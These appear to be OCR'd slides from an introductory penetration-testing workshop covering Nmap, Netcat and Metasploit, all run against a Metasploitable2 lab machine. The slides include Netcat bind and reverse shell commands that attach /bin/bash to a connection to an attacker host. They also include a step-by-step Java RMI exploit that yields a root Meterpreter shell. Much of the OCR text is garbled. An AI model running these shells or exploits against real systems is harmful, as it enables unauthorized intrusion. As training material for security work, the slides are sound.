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Today’s Toolkit:

 Nmap - port scanning, fingerprinting,
and NSE scripts

« Netcat - banner grabbing, bind shells,
reverse shells

« Metasploit - exploits, payloads, handlers,
and database usage
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Terminology & Basics
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What is?

e ashell

* Bind shell
« Reverse shell
« Meterpreter shell

« A privileged vs non-privileged user
* Root

« Administrator
e SYSTEM
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Knock. Knock.
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:~# nmap -sV --top-ports 10 192.168.5.102
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-14 15:56 EDT
Nmap scan report for 192.168.5.102 2.
Host is up (0.00014s latency). te" us:.

What kind of info can nmap

PORT STATE SERVICE VERSTON Open / closed / filtered ports
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd

MAC Address

Fingerprinting : OS or software

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) version
110/tcp closed pop3

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGRE2UP)
443/tcp closed https

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WEeRKGROUP)
3389/tcp closed ms-wbt-server

MAC Address: 08:00:27:B5:8A:C2 (Oracle VirtualBox virtual NIC)

Service Info: Host: metasploitable.localdomain; |0Ss: Unix, Linux; |CPE: cpe:/o:l
inux:linux kernel

Misconfigurations & Vulnerabilities

65,535 possible ports

Ports below 1024 are
“privileged ports”

nmap <scan type> <options> <ip>
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Scan types: The 3-way Handshake

« -sT (Connect scan): completes the 3
way handshake : default non-privileged Step 1: Host A R > Host B
scan :

« -sS(SYN scan) half-open scanning : Step 2: Host A SYN. ACK Host B
requires root privileges

* -sU:UDP scan Step 3: Host A ACK > Host B
How does nmap find live hosts?

- SYN on port 80 Host A <Conn. Established> Host B
- ACKon port 443

- ICMP echo

- ICMP timestamp
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Additional Scan Types:

« -sV (version scan): service/version info
« -sC (script scan) : default NSE scripts

« -0 : Operating system detection

- -A (aggressive): combines sV, sC, O,
and traceroute

« -Pn: skip the ICMP part of host
discovery
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SHECURITY GETTING THE RESULTS YOU WANT
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Port scope:

- Default scan is top 1000 ports

* -p <port#>:scan one or more ports
* -p-:scan ports 1-65,535 (no port 0)

« --top-ports <#>:scan the most
common <#> of ports

W

_ATTENTION ALL FEMALE{NERDS
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1) Start with a connect scan of the top 15 ports
nmap -sT —-—-top-ports 15 <target_ip>
2) Now lets add a version scan too

nmap -sT -sV —--top-ports 15 <target_ip>

3) Add a script scan and an OS fingerprint scan

MAKE GIFS AT GIFSOUP.COM

nmap -sT -sV -sC -0 —--top-ports 15 <target_ip>
4) Finally combine these scans (plus traceroute) with an aggressive scan

nmap -A —--top-ports 15 <target_ip>
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« --open : show results of only open ports
* --max-retries <#>
e -T<0-5>:scan speed

* During the scan press d to turn up the
debugging level

»  Press Shift+d to lower the debugging
level

Must go faster.
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Nmap - Saving your results

JUST KEEP SCANNING

Input/Output files

-iL <file> : list of targets to scan (1/line)
-oN <file>: save in nmap format

-oX <file>: save in xml format

-0G <file>: save greppable format

-0A <file> : save all 3 types
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LAB TIME!

Let's run a comprehensive scan against all ports AND save our work

Take a minute to look at each scan type with the “cat” command

15
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Netcat

Let’s make a connection.
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« What can we do with Netcat?

 Connect to any host on any port

Grab banners (get software/versions)
Send HTTP requests
Make bind shells

Make reverse shells

 What does that look like?

7N ; wl | { - I.‘ -
F == | \
* nc <options> <target_ip> <port(s)> / ! .TRE“‘ :”
| R (WY | W
~Fl nc -nvvy 192.168.5.1602 9999 oans &% B P (R 1

(UNKNOWN) [192.168.5.102] 9999 (7) open =W = W W W TV TV
hello metasploitable2!

it's me, kali
“C sent 37, rcvd ©
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Most common options

 —-n -Don’t do DNS lookup (for IPs)
« =1 - Listen mode

« —p - port(local port on listen, target
port on default)

« —-u - UDP mode
e =-v -verbose mode
e -vv -superverbose mode

« -—e -program to execute after
connection
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On your attacker machine

Use netcat to connect to some open
ports on your target

nc —-nvv <target_IP> <port>

Ports to try:

21 - ftp
22 - ssh
25 - smtp

3306 - mySQL

~# nc -nvv 192.168.5.102 21
(UNKNOWN) [192.168.5.102] 21 (ftp) open

220 (vsFTPd 2.3.4)

:~# nc -nvv 192.168.5.102 3306

\ (UNKNOWN) [192.168.5.102] 3306 (mysql) open
>

5.0.51a-3gpuntu5

~# nc -nvv 192.168.5.102 22

(UNKNOWN) [192.168.5.182] 22 (ssh) open
SSH-2.0-0penSSH 4.7pl Debian-8ubuntul
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On your attacker machine T
(UNKNOWN) [192.168.5.102] 80 (http) open
« Use netcat to connect to port 80 GET / HTTP 1.6
HTTP/1.1 200 OK
nc —nvv <target—IP> 8@ Date: Fri, 15 Jun 2018 10:20:40 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2
* Now you can manually enter an HTTP B E -t yE I I i i

. - h:
request, followed by two line breaks — [Siseiiseiiiiien

Content-Type: text/html
GET / HTTP 1.0

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre=

N f

« And this is the result ------------------- >>

|
\
/
|

|
_IN



AYOF  Netcat - Bind Shells
SHECURITY

ggggggggggg sos SOMEONE LEFT A DOOR OPEN

On your target machine

« Use netcat to open a port with
/bin/bash attached to it.

nc -nvlp <port> -e /bin/bash

On your attacker machine

e connect to the port you just opened on
your target machine

nc -nv <target_ip> <port>

e Run acommand
* ifconfig
. [id
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On your attacker machine
« Use netcat to open a port

nc —-nvlp <port>

On your target machine

« connect to the port you just opened on your
kali machine

nc —-nv <attacker_ip> <port> -e
/bin/bash

On your attacker machine run:

* ifconfig
* id
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\IEEB\ITY What is Metasploit?

« Hacking framework written in ruby :~# msfconsole

- We're going to cover how to:
« Use Nmap with the database

Search for exploits

Scanning modules
I love shells --egypt

Using exploits

Meterpreter shells ST merssnie

- --—[ 1749 exp101ts - 1002 aux111ary - 302 post
-=[ 536 payloads - 40 encoders - 10 nops
- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]
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« To setup the Metasploit database (We
only need to do this step one time) run:

* msfdb init
« To start Metasploit run:

* msfconsole

- Every time you start Metasploit, you will
see a different banner. To cycle through
banners run:

* banner

. ~# mstdb init
Starting
Creating

Creating 5
Creating databases
a

Creating configuration file ‘Jusr/share/metasploit

Creating initial database schema

Unable to handle kernel NULL pointer dereference at virtual address ©xd34db33f
EFLAGS: 00010046

eax: 00000001 ebx: f77c8cOO ecx: 00000000 edx: f77fe001

esi: 803bf014 edi: 8023c755 ebp: 80237184 esp: 80237160

ds: 0018 es: 0018 ss: 0018

Process Swapper (Pid: ©, process nr: 0, stackpage=80377000)

Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900

Lol el ol o of of of of of of of of o of o of of of of of = of o o o]
ccccccececececcecceccccecccccccccc
ccccccceccce
(ol el ol of of of of of of of of of of of of o of of of of o of of o o o
Lol o ol o of of of of o of of of o of of of of of of of o of of of o] o
ccccccccc
(o] o of of of of of of of of of o of of of of of of of of of of of of o] o
(ol el ol ol of of of of of of of of of of of o of of of of o of o o o

FEfffffffffffffffffffffffef
fEFfrffff
fEffffffffffffffffffffffff
fEFFffff
FEFfffff
fEEfrffff

Code: 00 OO 00 00 M3 T4 SP LO 1T FR 4M 3W
Aiee, Killing Interrupt handler
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Eervices The Metasploit database will store
information gathered on your targets.

proto name

A Db 2.3.4 « To upload nmap scans into Metasploit:

tcp ssh OpenSSH 4.7pl Debian 8ubuntul protoco

* db_import MyFirstScan.xml

tcp telnet Linux telnetd

tcp smtp Postfix smtpd . .
N ISC BIND 9.4.2 « To see all imported targets run:
tcp http Apache httpd 2.2.8 (Ubuntu) DAV/2

tcp rpcbind 2 RPC #100000 « hosts

tcp netbios-ssn Samba smbd 3.X - 4.X workgroup: WORK

S tcp netbios-ssn Samba smbd 3.0.20-Debian workgroup: i TO See a” Of the Open pOI’tS run:

ORKGROUP
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.
192.168.

tcp exec
tcp login
tcp shell

tcp  java-rmi Java RMI Registry « You can search your results by protocol

tcp bindshell Metasploitable root shell .

tc nfs 2-4 RPC #100003 - - -
tcg ftp ProFTPD 1.3.1 ( S)’ d Strlng( S)' da port( p)
tcp mysql MySQL 5.0.51a-3ubuntu5

tcp postgresql PostgreSQL DB 8.3.0 - 8.3.7

tcp vNnC VNC protocol 3.3

tcp x11 access denied

tcp irc UnrealIRCd

tcp ajpl3 Apache Jserv Protocol v1.3

tcp http Apache Tomcat/Coyote JSP engine 1.1

e services -u

(S BN, B RO RO, B RO R, R RO RO O RO R |
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msf > search java rmi

Useful Metasploit Verbs:

. Matching Modules
« help : show available

commands Disclosure Date
. £ : Description
- search : find exploits or other i
modules = : s
auxiliary/gather/java rmi registry normal
° . Java RMI Registry Interfaces Enumeration
use : select a module auxiliary/scanner/misc/java rmi server 2011-10-15 normal
. . Java RMI Server Insecure Endpoint Code Execution Scanner
Try It yourSE|f° exploit/multi/browser/java rmi connection impl 2010-03-31 excellent
. . Java RMIConnectionImpl Deserialization Privilege Escalation
Search Java_rm| exploit/multi/misc/java rmi server 2011-10-15 excellent
Java RMI Server Insecure Default Configuration Java Code Execution
Use java_rmi_server > use exploit/multi/misc/java rmi server

exploit( ) > show info

Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java rmi server
Platform: Java, Linux, 0SX, Solaris, Windows
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Available targets:
ETIS
Generic (Java Payload)
Windows x86 (Native Payload)
Linux x86 (Native Payload)
Mac 0S X PPC (Native Payload)
Mac 0S X x86 (Native Payload)

Basic options:
Name Current Setting Required
HTTPDELAY 10
the payload request
RHOST
RPORT 1099 yes
SRVHOST 0.0.0.0 yes

be an address on the local machine or 0.

SRVPORT 8080 yes

SSL false no

SSLCert no
1t is randomly generated)

URIPATH no
t is random)

- show options : get info about
the selected module

- Set <param>:set a parameter
« exploit/run:run a module

Description

Run the following commands:
e set RHOST <targetIP>

Time that the HTTP Server will wait for

The target address
The target port (TCP) set target 2
The local host to listen on. This must

6:0\8 + exploit

The local port to listen on.
Negotiate SSL for incoming connections
Path to a custom SSL certificate (defauy

The URI to use for this exploit (defaul
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mst exploit( ) > exploit

[*] Exploit running as background job ©. We got a shell! | ran the id command which

[#] Started reverse TCP handler on 192.168.5.141:4444 shows that we are root!
[*] 192.168.5.102:1099 - Using URL: http://0.0.0.0:8080/piybASE3X1dIS

msf exploit( ) > [*] 192.168.5.102:1099 - Local IP: ht To background an active shell & return to
tp://192.168.5.141:8080/piybASE3X1dIS

[*] 192.168.5.102:1099 - Server started. msfconsole menu :
[*] 192.168.5.102:1099 - Sending RMI Header...

[#] 192.168.5.102:1099 - Sending RMI Call... * background

[*] 192.168.5.102:1099 - Replied to request for payload JAR

[*] Sending stage (857352 bytes) to 192.168.5.102

[*] Meterpreter session 1 opened (192.168.5.141:4444 -> 192.168.5.102:45273) at
2018-06-15 17:26:53 -0400 . sessions
[*] 192.168.5.102:1099 - Server stopped.
id

[*] exec: id

To view your active shells:

To connect to a session:

e sessions -i <session#>

uid=0(root) gid=0(root) groups=0(root)
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« Meterpreter shells are stealthy because live
in memory.
« Useful Meterpreter commands:
* help : shows available commands
« shell: drops you into a traditional command shell

« getuid :showyour userid

« Meterpreter shells can also run msf post
modules to gather information, gain
persistence, or pivot through the network
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Thank you!



